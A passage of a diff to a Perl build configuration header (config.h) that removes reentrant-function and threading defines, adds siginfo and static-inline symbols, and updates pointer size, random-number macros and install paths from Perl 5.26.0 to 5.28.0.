- *	This symbol encodes the prototype of getnetbyname_r.
- *	It is zero if d_getnetbyname_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetbyname_r
- *	is defined.
- */
-/*#define HAS_GETNETBYNAME_R	   / **/
-#define GETNETBYNAME_R_PROTO 0	   /**/
-
-/* HAS_GETNETENT_R:
- *	This symbol, if defined, indicates that the getnetent_r routine
- *	is available to getnetent re-entrantly.
- */
-/* GETNETENT_R_PROTO:
- *	This symbol encodes the prototype of getnetent_r.
- *	It is zero if d_getnetent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetent_r
- *	is defined.
- */
-/*#define HAS_GETNETENT_R	   / **/
-#define GETNETENT_R_PROTO 0	   /**/
-
 /* HAS_GETPAGESIZE:
  *	This symbol, if defined, indicates that the getpagesize system call
  *	is available to get system page size, which is the granularity of
@@ -1378,149 +925,6 @@
  */
 #define HAS_GETPAGESIZE		/**/
 
-/* HAS_GETPROTOBYNAME_R:
- *	This symbol, if defined, indicates that the getprotobyname_r routine
- *	is available to getprotobyname re-entrantly.
- */
-/* GETPROTOBYNAME_R_PROTO:
- *	This symbol encodes the prototype of getprotobyname_r.
- *	It is zero if d_getprotobyname_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotobyname_r
- *	is defined.
- */
-/*#define HAS_GETPROTOBYNAME_R	   / **/
-#define GETPROTOBYNAME_R_PROTO 0	   /**/
-
-/* HAS_GETPROTOBYNUMBER_R:
- *	This symbol, if defined, indicates that the getprotobynumber_r routine
- *	is available to getprotobynumber re-entrantly.
- */
-/* GETPROTOBYNUMBER_R_PROTO:
- *	This symbol encodes the prototype of getprotobynumber_r.
- *	It is zero if d_getprotobynumber_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotobynumber_r
- *	is defined.
- */
-/*#define HAS_GETPROTOBYNUMBER_R	   / **/
-#define GETPROTOBYNUMBER_R_PROTO 0	   /**/
-
-/* HAS_GETPROTOENT_R:
- *	This symbol, if defined, indicates that the getprotoent_r routine
- *	is available to getprotoent re-entrantly.
- */
-/* GETPROTOENT_R_PROTO:
- *	This symbol encodes the prototype of getprotoent_r.
- *	It is zero if d_getprotoent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotoent_r
- *	is defined.
- */
-/*#define HAS_GETPROTOENT_R	   / **/
-#define GETPROTOENT_R_PROTO 0	   /**/
-
-/* HAS_GETPWENT_R:
- *	This symbol, if defined, indicates that the getpwent_r routine
- *	is available to getpwent re-entrantly.
- */
-/* GETPWENT_R_PROTO:
- *	This symbol encodes the prototype of getpwent_r.
- *	It is zero if d_getpwent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwent_r
- *	is defined.
- */
-/*#define HAS_GETPWENT_R	   / **/
-#define GETPWENT_R_PROTO 0	   /**/
-
-/* HAS_GETPWNAM_R:
- *	This symbol, if defined, indicates that the getpwnam_r routine
- *	is available to getpwnam re-entrantly.
- */
-/* GETPWNAM_R_PROTO:
- *	This symbol encodes the prototype of getpwnam_r.
- *	It is zero if d_getpwnam_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwnam_r
- *	is defined.
- */
-/*#define HAS_GETPWNAM_R	   / **/
-#define GETPWNAM_R_PROTO 0	   /**/
-
-/* HAS_GETPWUID_R:
- *	This symbol, if defined, indicates that the getpwuid_r routine
- *	is available to getpwuid re-entrantly.
- */
-/* GETPWUID_R_PROTO:
- *	This symbol encodes the prototype of getpwuid_r.
- *	It is zero if d_getpwuid_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwuid_r
- *	is defined.
- */
-/*#define HAS_GETPWUID_R	   / **/
-#define GETPWUID_R_PROTO 0	   /**/
-
-/* HAS_GETSERVBYNAME_R:
- *	This symbol, if defined, indicates that the getservbyname_r routine
- *	is available to getservbyname re-entrantly.
- */
-/* GETSERVBYNAME_R_PROTO:
- *	This symbol encodes the prototype of getservbyname_r.
- *	It is zero if d_getservbyname_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservbyname_r
- *	is defined.
- */
-/*#define HAS_GETSERVBYNAME_R	   / **/
-#define GETSERVBYNAME_R_PROTO 0	   /**/
-
-/* HAS_GETSERVBYPORT_R:
- *	This symbol, if defined, indicates that the getservbyport_r routine
- *	is available to getservbyport re-entrantly.
- */
-/* GETSERVBYPORT_R_PROTO:
- *	This symbol encodes the prototype of getservbyport_r.
- *	It is zero if d_getservbyport_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservbyport_r
- *	is defined.
- */
-/*#define HAS_GETSERVBYPORT_R	   / **/
-#define GETSERVBYPORT_R_PROTO 0	   /**/
-
-/* HAS_GETSERVENT_R:
- *	This symbol, if defined, indicates that the getservent_r routine
- *	is available to getservent re-entrantly.
- */
-/* GETSERVENT_R_PROTO:
- *	This symbol encodes the prototype of getservent_r.
- *	It is zero if d_getservent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservent_r
- *	is defined.
- */
-/*#define HAS_GETSERVENT_R	   / **/
-#define GETSERVENT_R_PROTO 0	   /**/
-
-/* HAS_GETSPNAM_R:
- *	This symbol, if defined, indicates that the getspnam_r routine
- *	is available to getspnam re-entrantly.
- */
-/* GETSPNAM_R_PROTO:
- *	This symbol encodes the prototype of getspnam_r.
- *	It is zero if d_getspnam_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getspnam_r
- *	is defined.
- */
-/*#define HAS_GETSPNAM_R	   / **/
-#define GETSPNAM_R_PROTO 0	   /**/
-
-/* HAS_GMTIME_R:
- *	This symbol, if defined, indicates that the gmtime_r routine
- *	is available to gmtime re-entrantly.
- */
-/* GMTIME_R_PROTO:
- *	This symbol encodes the prototype of gmtime_r.
- *	It is zero if d_gmtime_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gmtime_r
- *	is defined.
- */
-/*#define HAS_GMTIME_R	   / **/
-#define GMTIME_R_PROTO 0	   /**/
-
 /* HAS_GNULIBC:
  *	This symbol, if defined, indicates to the C program that
  *	the GNU C library is being used.  A better check is to use
@@ -1544,32 +948,6 @@
  */
 #define HAS_LCHOWN		/**/
 
-/* HAS_LOCALTIME_R:
- *	This symbol, if defined, indicates that the localtime_r routine
- *	is available to localtime re-entrantly.
- */
-/* LOCALTIME_R_NEEDS_TZSET:
- *	Many libc's localtime_r implementations do not call tzset,
- *	making them differ from localtime(), and making timezone
- *	changes using $ENV{TZ} without explicitly calling tzset
- *	impossible. This symbol makes us call tzset before localtime_r
- */
-/*#define LOCALTIME_R_NEEDS_TZSET / **/
-#ifdef LOCALTIME_R_NEEDS_TZSET
-#define L_R_TZSET tzset(),
-#else
-#define L_R_TZSET
-#endif
-
-/* LOCALTIME_R_PROTO:
- *	This symbol encodes the prototype of localtime_r.
- *	It is zero if d_localtime_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_localtime_r
- *	is defined.
- */
-/*#define HAS_LOCALTIME_R	   / **/
-#define LOCALTIME_R_PROTO 0	   /**/
-
 /* HAS_OPEN3:
  *	This manifest constant lets the C program know that the three
  *	argument form of open(2) is available.
@@ -1576,200 +954,48 @@
  */
 #define HAS_OPEN3		/**/
 
-/* OLD_PTHREAD_CREATE_JOINABLE:
- *	This symbol, if defined, indicates how to create pthread
- *	in joinable (aka undetached) state.  NOTE: not defined
- *	if pthread.h already has defined PTHREAD_CREATE_JOINABLE
- *	(the new version of the constant).
- *	If defined, known values are PTHREAD_CREATE_UNDETACHED
- *	and __UNDETACHED.
+/* HAS_SIGACTION:
+ *	This symbol, if defined, indicates that Vr4's sigaction() routine
+ *	is available.
  */
-/*#define OLD_PTHREAD_CREATE_JOINABLE  / **/
+#define HAS_SIGACTION	/**/
 
-/* HAS_PTHREAD_ATFORK:
- *	This symbol, if defined, indicates that the pthread_atfork routine
- *	is available to setup fork handlers.
+/* HAS_SIGINFO_SI_ERRNO:
+ *	This symbol, if defined, indicates that siginfo_t has the
+ *	si_errno member
  */
-/*#define HAS_PTHREAD_ATFORK		/ **/
-
-/* HAS_PTHREAD_YIELD:
- *	This symbol, if defined, indicates that the pthread_yield
- *	routine is available to yield the execution of the current
- *	thread.	 sched_yield is preferable to pthread_yield.
+/* HAS_SIGINFO_SI_PID:
+ *	This symbol, if defined, indicates that siginfo_t has the
+ *	si_pid member
  */
-/* SCHED_YIELD:
- *	This symbol defines the way to yield the execution of
- *	the current thread.  Known ways are sched_yield,
- *	pthread_yield, and pthread_yield with NULL.
+/* HAS_SIGINFO_SI_UID:
+ *	This symbol, if defined, indicates that siginfo_t has the
+ *	si_uid member
  */
-/* HAS_SCHED_YIELD:
- *	This symbol, if defined, indicates that the sched_yield
- *	routine is available to yield the execution of the current
- *	thread.	 sched_yield is preferable to pthread_yield.
+/* HAS_SIGINFO_SI_ADDR:
+ *	This symbol, if defined, indicates that siginfo_t has the
+ *	si_addr member
  */
-#define HAS_PTHREAD_YIELD	/**/
-#define SCHED_YIELD	sched_yield()	/**/
-#define HAS_SCHED_YIELD	/**/
-
-/* HAS_RANDOM_R:
- *	This symbol, if defined, indicates that the random_r routine
- *	is available to random re-entrantly.
+/* HAS_SIGINFO_SI_STATUS:
+ *	This symbol, if defined, indicates that siginfo_t has the
+ *	si_status member
  */
-/* RANDOM_R_PROTO:
- *	This symbol encodes the prototype of random_r.
- *	It is zero if d_random_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_random_r
- *	is defined.
+/* HAS_SIGINFO_SI_BAND:
+ *	This symbol, if defined, indicates that siginfo_t has the
+ *	si_band member
  */
-/*#define HAS_RANDOM_R	   / **/
-#define RANDOM_R_PROTO 0	   /**/
-
-/* HAS_READDIR64_R:
- *	This symbol, if defined, indicates that the readdir64_r routine
- *	is available to readdir64 re-entrantly.
+/* HAS_SIGINFO_SI_VALUE:
+ *	This symbol, if defined, indicates that siginfo_t has the
+ *	si_value member
  */
-/* READDIR64_R_PROTO:
- *	This symbol encodes the prototype of readdir64_r.
- *	It is zero if d_readdir64_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_readdir64_r
- *	is defined.
- */
-/*#define HAS_READDIR64_R	   / **/
-#define READDIR64_R_PROTO 0	   /**/
+#define	HAS_SIGINFO_SI_ERRNO	/**/
+#define	HAS_SIGINFO_SI_PID	/**/
+#define	HAS_SIGINFO_SI_UID	/**/
+#define	HAS_SIGINFO_SI_ADDR	/**/
+#define	HAS_SIGINFO_SI_STATUS	/**/
+#define	HAS_SIGINFO_SI_BAND	/**/
+#define	HAS_SIGINFO_SI_VALUE	/**/
 
-/* HAS_READDIR_R:
- *	This symbol, if defined, indicates that the readdir_r routine
- *	is available to readdir re-entrantly.
- */
-/* READDIR_R_PROTO:
- *	This symbol encodes the prototype of readdir_r.
- *	It is zero if d_readdir_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_readdir_r
- *	is defined.
- */
-/*#define HAS_READDIR_R	   / **/
-#define READDIR_R_PROTO 0	   /**/
-
-/* HAS_SAFE_BCOPY:
- *	This symbol, if defined, indicates that the bcopy routine is available
- *	to copy potentially overlapping memory blocks. Normally, you should
- *	probably use memmove() or memcpy(). If neither is defined, roll your
- *	own version.
- */
-/*#define HAS_SAFE_BCOPY	/ **/
-
-/* HAS_SAFE_MEMCPY:
- *	This symbol, if defined, indicates that the memcpy routine is available
- *	to copy potentially overlapping memory blocks.  If you need to
- *	copy overlapping memory blocks, you should check HAS_MEMMOVE and
- *	use memmove() instead, if available.
- */
-/*#define HAS_SAFE_MEMCPY	/ **/
-
-/* HAS_SANE_MEMCMP:
- *	This symbol, if defined, indicates that the memcmp routine is available
- *	and can be used to compare relative magnitudes of chars with their high
- *	bits set.  If it is not defined, roll your own version.
- */
-#define HAS_SANE_MEMCMP	/**/
-
-/* HAS_SETGRENT_R:
- *	This symbol, if defined, indicates that the setgrent_r routine
- *	is available to setgrent re-entrantly.
- */
-/* SETGRENT_R_PROTO:
- *	This symbol encodes the prototype of setgrent_r.
- *	It is zero if d_setgrent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setgrent_r
- *	is defined.
- */
-/*#define HAS_SETGRENT_R	   / **/
-#define SETGRENT_R_PROTO 0	   /**/
-
-/* HAS_SETHOSTENT_R:
- *	This symbol, if defined, indicates that the sethostent_r routine
- *	is available to sethostent re-entrantly.
- */
-/* SETHOSTENT_R_PROTO:
- *	This symbol encodes the prototype of sethostent_r.
- *	It is zero if d_sethostent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_sethostent_r
- *	is defined.
- */
-/*#define HAS_SETHOSTENT_R	   / **/
-#define SETHOSTENT_R_PROTO 0	   /**/
-
-/* HAS_SETLOCALE_R:
- *	This symbol, if defined, indicates that the setlocale_r routine
- *	is available to setlocale re-entrantly.
- */
-/* SETLOCALE_R_PROTO:
- *	This symbol encodes the prototype of setlocale_r.
- *	It is zero if d_setlocale_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setlocale_r
- *	is defined.
- */
-/*#define HAS_SETLOCALE_R	   / **/
-#define SETLOCALE_R_PROTO 0	   /**/
-
-/* HAS_SETNETENT_R:
- *	This symbol, if defined, indicates that the setnetent_r routine
- *	is available to setnetent re-entrantly.
- */
-/* SETNETENT_R_PROTO:
- *	This symbol encodes the prototype of setnetent_r.
- *	It is zero if d_setnetent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setnetent_r
- *	is defined.
- */
-/*#define HAS_SETNETENT_R	   / **/
-#define SETNETENT_R_PROTO 0	   /**/
-
-/* HAS_SETPROTOENT_R:
- *	This symbol, if defined, indicates that the setprotoent_r routine
- *	is available to setprotoent re-entrantly.
- */
-/* SETPROTOENT_R_PROTO:
- *	This symbol encodes the prototype of setprotoent_r.
- *	It is zero if d_setprotoent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setprotoent_r
- *	is defined.
- */
-/*#define HAS_SETPROTOENT_R	   / **/
-#define SETPROTOENT_R_PROTO 0	   /**/
-
-/* HAS_SETPWENT_R:
- *	This symbol, if defined, indicates that the setpwent_r routine
- *	is available to setpwent re-entrantly.
- */
-/* SETPWENT_R_PROTO:
- *	This symbol encodes the prototype of setpwent_r.
- *	It is zero if d_setpwent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setpwent_r
- *	is defined.
- */
-/*#define HAS_SETPWENT_R	   / **/
-#define SETPWENT_R_PROTO 0	   /**/
-
-/* HAS_SETSERVENT_R:
- *	This symbol, if defined, indicates that the setservent_r routine
- *	is available to setservent re-entrantly.
- */
-/* SETSERVENT_R_PROTO:
- *	This symbol encodes the prototype of setservent_r.
- *	It is zero if d_setservent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setservent_r
- *	is defined.
- */
-/*#define HAS_SETSERVENT_R	   / **/
-#define SETSERVENT_R_PROTO 0	   /**/
-
-/* HAS_SIGACTION:
- *	This symbol, if defined, indicates that Vr4's sigaction() routine
- *	is available.
- */
-#define HAS_SIGACTION	/**/
-
 /* HAS_SIGSETJMP:
  *	This variable indicates to the C program that the sigsetjmp()
  *	routine is available to save the calling process's registers
@@ -1801,32 +1027,27 @@
 #define Siglongjmp(buf,retval) longjmp((buf),(retval))
 #endif
 
-/* HAS_SRAND48_R:
- *	This symbol, if defined, indicates that the srand48_r routine
- *	is available to srand48 re-entrantly.
+/* HAS_STATIC_INLINE:
+ *	This symbol, if defined, indicates that the C compiler supports
+ *	C99-style static inline.  That is, the function can't be called
+ *	from another translation unit.
  */
-/* SRAND48_R_PROTO:
- *	This symbol encodes the prototype of srand48_r.
- *	It is zero if d_srand48_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_srand48_r
- *	is defined.
+/* PERL_STATIC_INLINE:
+ *	This symbol gives the best-guess incantation to use for static
+ *	inline functions.  If HAS_STATIC_INLINE is defined, this will
+ *	give C99-style inline.  If HAS_STATIC_INLINE is not defined,
+ *	this will give a plain 'static'.  It will always be defined
+ *	to something that gives static linkage.
+ *	Possibilities include
+ *		static inline       (c99)
+ *		static __inline__   (gcc -ansi)
+ *		static __inline     (MSVC)
+ *		static _inline      (older MSVC)
+ *		static              (c89 compilers)
  */
-/*#define HAS_SRAND48_R	   / **/
-#define SRAND48_R_PROTO 0	   /**/
+#define HAS_STATIC_INLINE				/**/
+#define PERL_STATIC_INLINE static __inline__	/**/
 
-/* HAS_SRANDOM_R:
- *	This symbol, if defined, indicates that the srandom_r routine
- *	is available to srandom re-entrantly.
- */
-/* SRANDOM_R_PROTO:
- *	This symbol encodes the prototype of srandom_r.
- *	It is zero if d_srandom_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_srandom_r
- *	is defined.
- */
-/*#define HAS_SRANDOM_R	   / **/
-#define SRANDOM_R_PROTO 0	   /**/
-
 /* USE_STDIO_PTR:
  *	This symbol is defined if the _ptr and _cnt fields (or similar)
  *	of the stdio FILE structure can be used to access the stdio buffer
@@ -1897,59 +1118,6 @@
 #define FILE_bufsiz(fp)	((fp)->_IO_read_end - (fp)->_IO_read_base)
 #endif
 
-/* HAS_STRERROR_R:
- *	This symbol, if defined, indicates that the strerror_r routine
- *	is available to strerror re-entrantly.
- */
-/* STRERROR_R_PROTO:
- *	This symbol encodes the prototype of strerror_r.
- *	It is zero if d_strerror_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_strerror_r
- *	is defined.
- */
-/*#define HAS_STRERROR_R	   / **/
-#define STRERROR_R_PROTO 0	   /**/
-
-/* HAS_TMPNAM_R:
- *	This symbol, if defined, indicates that the tmpnam_r routine
- *	is available to tmpnam re-entrantly.
- */
-/* TMPNAM_R_PROTO:
- *	This symbol encodes the prototype of tmpnam_r.
- *	It is zero if d_tmpnam_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_tmpnam_r
- *	is defined.
- */
-/*#define HAS_TMPNAM_R	   / **/
-#define TMPNAM_R_PROTO 0	   /**/
-
-/* HAS_TTYNAME_R:
- *	This symbol, if defined, indicates that the ttyname_r routine
- *	is available to ttyname re-entrantly.
- */
-/* TTYNAME_R_PROTO:
- *	This symbol encodes the prototype of ttyname_r.
- *	It is zero if d_ttyname_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_ttyname_r
- *	is defined.
- */
-/*#define HAS_TTYNAME_R	   / **/
-#define TTYNAME_R_PROTO 0	   /**/
-
-/* HAS_VPRINTF:
- *	This symbol, if defined, indicates that the vprintf routine is available
- *	to printf with a pointer to an argument list.  If unavailable, you
- *	may need to write your own, probably in terms of _doprnt().
- */
-/* USE_CHAR_VSPRINTF:
- *	This symbol is defined if this system has vsprintf() returning type
- *	(char*).  The trend seems to be to declare it as "int vsprintf()".  It
- *	is up to the package author to declare vsprintf correctly based on the
- *	symbol.
- */
-#define HAS_VPRINTF	/**/
-/*#define USE_CHAR_VSPRINTF 	/ **/
-
 /* DOUBLESIZE:
  *	This symbol contains the size of a double, so that the C preprocessor
  *	can make decisions based on it.
@@ -1956,33 +1124,9 @@
  */
 #define DOUBLESIZE 8		/**/
 
-/* I_MACH_CTHREADS:
- *     This symbol, if defined, indicates to the C program that it should
- *     include <mach/cthreads.h>.
- */
-/*#define   I_MACH_CTHREADS	/ **/
-
-/* I_PTHREAD:
- *     This symbol, if defined, indicates to the C program that it should
- *     include <pthread.h>.
- */
-#define   I_PTHREAD	/**/
-
-/* I_SYS_ACCESS:
- *     This symbol, if defined, indicates to the C program that it should
- *     include <sys/access.h>.
- */
-/*#define   I_SYS_ACCESS                / **/
-
-/* I_SYS_SECURITY:
- *     This symbol, if defined, indicates to the C program that it should
- *     include <sys/security.h>.
- */
-/*#define   I_SYS_SECURITY	/ **/
-
 /* I_TIME:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <time.h>.
+ *	This symbol is always defined, and indicates to the C program that
+ *	it should include <time.h>.
  */
 /* I_SYS_TIME:
  *	This symbol, if defined, indicates to the C program that it should
@@ -2006,21 +1150,6 @@
 #define HAS_TM_TM_ZONE		/**/
 #define HAS_TM_TM_GMTOFF		/**/
 
-/* PERL_INC_VERSION_LIST:
- *	This variable specifies the list of subdirectories in over
- *	which perl.c:incpush() and lib/lib.pm will automatically
- *	search when adding directories to @INC, in a format suitable
- *	for a C initialization string.  See the inc_version_list entry
- *	in Porting/Glossary for more details.
- */
-/*#define PERL_INC_VERSION_LIST 0		/ **/
-
-/* INSTALL_USR_BIN_PERL:
- *	This symbol, if defined, indicates that Perl is to be installed
- * 	also as /usr/bin/perl.
- */
-/*#define INSTALL_USR_BIN_PERL	/ **/
-
 /* VAL_O_NONBLOCK:
  *	This symbol is to be used during open() or fcntl(F_SETFL) to turn on
  *	non-blocking I/O for the file descriptor. Note that there is no way
@@ -2048,29 +1177,6 @@
 #define RD_NODATA -1
 #define EOF_NONBLOCK
 
-/* PERL_OTHERLIBDIRS:
- *	This variable contains a colon-separated set of paths for the perl
- *	binary to search for additional library files or modules.
- *	These directories will be tacked to the end of @INC.
- *	Perl will automatically search below each path for version-
- *	and architecture-specific directories.  See PERL_INC_VERSION_LIST
- *	for more details.
- */
-/*#define PERL_OTHERLIBDIRS " "		/ **/
-
-/* PRIVLIB:
- *	This symbol contains the name of the private library for this package.
- *	The library is private in the sense that it needn't be in anyone's
- *	execution path, but it should be accessible by the world.  The program
- *	should be prepared to do ~ expansion.
- */
-/* PRIVLIB_EXP:
- *	This symbol contains the ~name expanded version of PRIVLIB, to be used
- *	in programs that are not prepared to deal with ~ expansion at run-time.
- */
-#define PRIVLIB "/pro/lib/perl5/5.26.0"		/**/
-#define PRIVLIB_EXP "/pro/lib/perl5/5.26.0"		/**/
-
 /* PTRSIZE:
  *	This symbol contains the size of a pointer, so that the C preprocessor
  *	can make decisions based on it.  It will be sizeof(void *) if
@@ -2077,7 +1183,7 @@
  *	the compiler supports (void *); otherwise it will be
  *	sizeof(char *).
  */
-#define PTRSIZE 4		/**/
+#define PTRSIZE 8		/**/
 
 /* Drand01:
  *	This macro is to be used to generate uniformly distributed
@@ -2099,11 +1205,97 @@
  *	function used to generate normalized random numbers.
  *	Values include 15, 16, 31, and 48.
  */
-#define Drand01()		drand48()		/**/
-#define Rand_seed_t		long		/**/
-#define seedDrand01(x)	srand48((Rand_seed_t)x)	/**/
+#define Drand01()		Perl_drand48()		/**/
+#define Rand_seed_t		U32		/**/
+#define seedDrand01(x)	Perl_drand48_init((Rand_seed_t)x)	/**/
 #define RANDBITS		48		/**/
 
+/* SSize_t:
+ *	This symbol holds the type used by functions that return
+ *	a count of bytes or an error condition.  It must be a signed type.
+ *	It is usually ssize_t, but may be long or int, etc.
+ *	It may be necessary to include <sys/types.h> or <unistd.h>
+ *	to get any typedef'ed information.
+ *	We will pick a type such that sizeof(SSize_t) == sizeof(Size_t).
+ */
+#define SSize_t ssize_t	 /* signed count of bytes */
+
+/* EBCDIC:
+ *	This symbol, if defined, indicates that this system uses
+ *	EBCDIC encoding.
+ */
+/*#define	EBCDIC 		/ **/
+
+/* ARCHLIB:
+ *	This variable, if defined, holds the name of the directory in
+ *	which the user wants to put architecture-dependent public
+ *	library files for perl5.  It is most often a local directory
+ *	such as /usr/local/lib.  Programs using this variable must be
+ *	prepared to deal with filename expansion.  If ARCHLIB is the
+ *	same as PRIVLIB, it is not defined, since presumably the
+ *	program already searches PRIVLIB.
+ */
+/* ARCHLIB_EXP:
+ *	This symbol contains the ~name expanded version of ARCHLIB, to be used
+ *	in programs that are not prepared to deal with ~ expansion at run-time.
+ */
+#define ARCHLIB "/opt/perl/lib/5.28.0/x86_64-linux"		/**/
+#define ARCHLIB_EXP "/opt/perl/lib/5.28.0/x86_64-linux"		/**/
+
+/* BIN:
+ *	This symbol holds the path of the bin directory where the package will
+ *	be installed. Program must be prepared to deal with ~name substitution.
+ */
+/* BIN_EXP:
+ *	This symbol is the filename expanded version of the BIN symbol, for
+ *	programs that do not want to deal with that at run-time.
+ */
+/* PERL_RELOCATABLE_INC:
+ *	This symbol, if defined, indicates that we'd like to relocate entries
+ *	in @INC at run time based on the location of the perl binary.
+ */
+#define BIN "/opt/perl/bin"	/**/
+#define BIN_EXP "/opt/perl/bin"	/**/
+#define PERL_RELOCATABLE_INC "undef" 		/**/
+
+/* PERL_INC_VERSION_LIST:
+ *	This variable specifies the list of subdirectories in over
+ *	which perl.c:incpush() and lib/lib.pm will automatically
+ *	search when adding directories to @INC, in a format suitable
+ *	for a C initialization string.  See the inc_version_list entry
+ *	in Porting/Glossary for more details.
+ */
+/*#define PERL_INC_VERSION_LIST 0		/ **/
+
+/* INSTALL_USR_BIN_PERL:
+ *	This symbol, if defined, indicates that Perl is to be installed
+ * 	also as /usr/bin/perl.
+ */
+/*#define INSTALL_USR_BIN_PERL	/ **/
+
+/* PERL_OTHERLIBDIRS:
+ *	This variable contains a colon-separated set of paths for the perl
+ *	binary to search for additional library files or modules.
+ *	These directories will be tacked to the end of @INC.
+ *	Perl will automatically search below each path for version-
+ *	and architecture-specific directories.  See PERL_INC_VERSION_LIST
+ *	for more details.
+ */
+/*#define PERL_OTHERLIBDIRS " "		/ **/
+
+/* PRIVLIB:
+ *	This symbol contains the name of the private library for this package.
+ *	The library is private in the sense that it needn't be in anyone's
+ *	execution path, but it should be accessible by the world.  The program
+ *	should be prepared to do ~ expansion.
+ */
+/* PRIVLIB_EXP:
+ *	This symbol contains the ~name expanded version of PRIVLIB, to be used
+ *	in programs that are not prepared to deal with ~ expansion at run-time.
+ */
+#define PRIVLIB "/opt/perl/lib/5.28.0"		/**/
+#define PRIVLIB_EXP "/opt/perl/lib/5.28.0"		/**/
+
 /* SITEARCH:
  *	This symbol contains the name of the private library for this package.
  *	The library is private in the sense that it needn't be in anyone's
@@ -2119,8 +1311,8 @@
  *	This symbol contains the ~name expanded version of SITEARCH, to be used
  *	in programs that are not prepared to deal with ~ expansion at run-time.
  */
-#define SITEARCH "/pro/lib/perl5/site_perl/5.26.0/i686-linux-64int-ld"		/**/
-#define SITEARCH_EXP "/pro/lib/perl5/site_perl/5.26.0/i686-linux-64int-ld"		/**/
+#define SITEARCH "/opt/perl/lib/site_perl/5.28.0/x86_64-linux"		/**/
+#define SITEARCH_EXP "/opt/perl/lib/site_perl/5.28.0/x86_64-linux"		/**/
 
 /* SITELIB:
  *	This symbol contains the name of the private library for this package.
@@ -2142,46 +1334,10 @@
  *	removed.  The elements in inc_version_list (inc_version_list.U) can
  *	be tacked onto this variable to generate a list of directories to search.
  */
-#define SITELIB "/pro/lib/perl5/site_perl/5.26.0"		/**/
-#define SITELIB_EXP "/pro/lib/perl5/site_perl/5.26.0"		/**/
-#define SITELIB_STEM "/pro/lib/perl5/site_perl"		/**/
+#define SITELIB "/opt/perl/lib/site_perl/5.28.0"		/**/
+#define SITELIB_EXP "/opt/perl/lib/site_perl/5.28.0"		/**/
+#define SITELIB_STEM "/opt/perl/lib/site_perl"		/**/
 
-/* SSize_t:
- *	This symbol holds the type used by functions that return
- *	a count of bytes or an error condition.  It must be a signed type.
- *	It is usually ssize_t, but may be long or int, etc.
- *	It may be necessary to include <sys/types.h> or <unistd.h>
- *	to get any typedef'ed information.
- *	We will pick a type such that sizeof(SSize_t) == sizeof(Size_t).
- */
-#define SSize_t ssize_t	 /* signed count of bytes */
-
-/* USE_ITHREADS:
- *	This symbol, if defined, indicates that Perl should be built to
- *	use the interpreter-based threading implementation.
- */
-/* USE_5005THREADS:
- *	This symbol, if defined, indicates that Perl should be built to
- *	use the 5.005-based threading implementation.
- *	Only valid up to 5.8.x.
- */
-/* OLD_PTHREADS_API:
- *	This symbol, if defined, indicates that Perl should
- *	be built to use the old draft POSIX threads API.
- */
-/* USE_REENTRANT_API:
- *	This symbol, if defined, indicates that Perl should
- *	try to use the various _r versions of library functions.
- *	This is extremely experimental.
- */
-/*#define	USE_5005THREADS		/ **/
-/*#define	USE_ITHREADS		/ **/
-#if defined(USE_5005THREADS) && !defined(USE_ITHREADS)
-#define		USE_THREADS		/* until src is revised*/
-#endif
-/*#define	OLD_PTHREADS_API		/ **/
-/*#define	USE_REENTRANT_API	/ **/
-
 /* PERL_VENDORARCH:
  *	If defined, this symbol contains the name of a private library.
  *	The library is private in the sense that it needn't be in anyone's
@@ -2212,33 +1368,6 @@
 /*#define PERL_VENDORLIB_EXP ""		/ **/
 /*#define PERL_VENDORLIB_STEM ""		/ **/
 
-/* HAS_STATIC_INLINE:
- *	This symbol, if defined, indicates that the C compiler supports
- *	C99-style static inline.  That is, the function can't be called
- *	from another translation unit.
- */
-/* PERL_STATIC_INLINE:
- *	This symbol gives the best-guess incantation to use for static
- *	inline functions.  If HAS_STATIC_INLINE is defined, this will
- *	give C99-style inline.  If HAS_STATIC_INLINE is not defined,
- *	this will give a plain 'static'.  It will always be defined
- *	to something that gives static linkage.
- *	Possibilities include
- *		static inline       (c99)
- *		static __inline__   (gcc -ansi)
- *		static __inline     (MSVC)
- *		static _inline      (older MSVC)
- *		static              (c89 compilers)
- */
-#define HAS_STATIC_INLINE				/**/
-#define PERL_STATIC_INLINE static __inline__	/**/
-
-/* EBCDIC:
- *     This symbol, if defined, indicates that this system uses
- *	EBCDIC encoding.
- */
-/*#define	EBCDIC 		/ **/
-
 /* OSNAME:
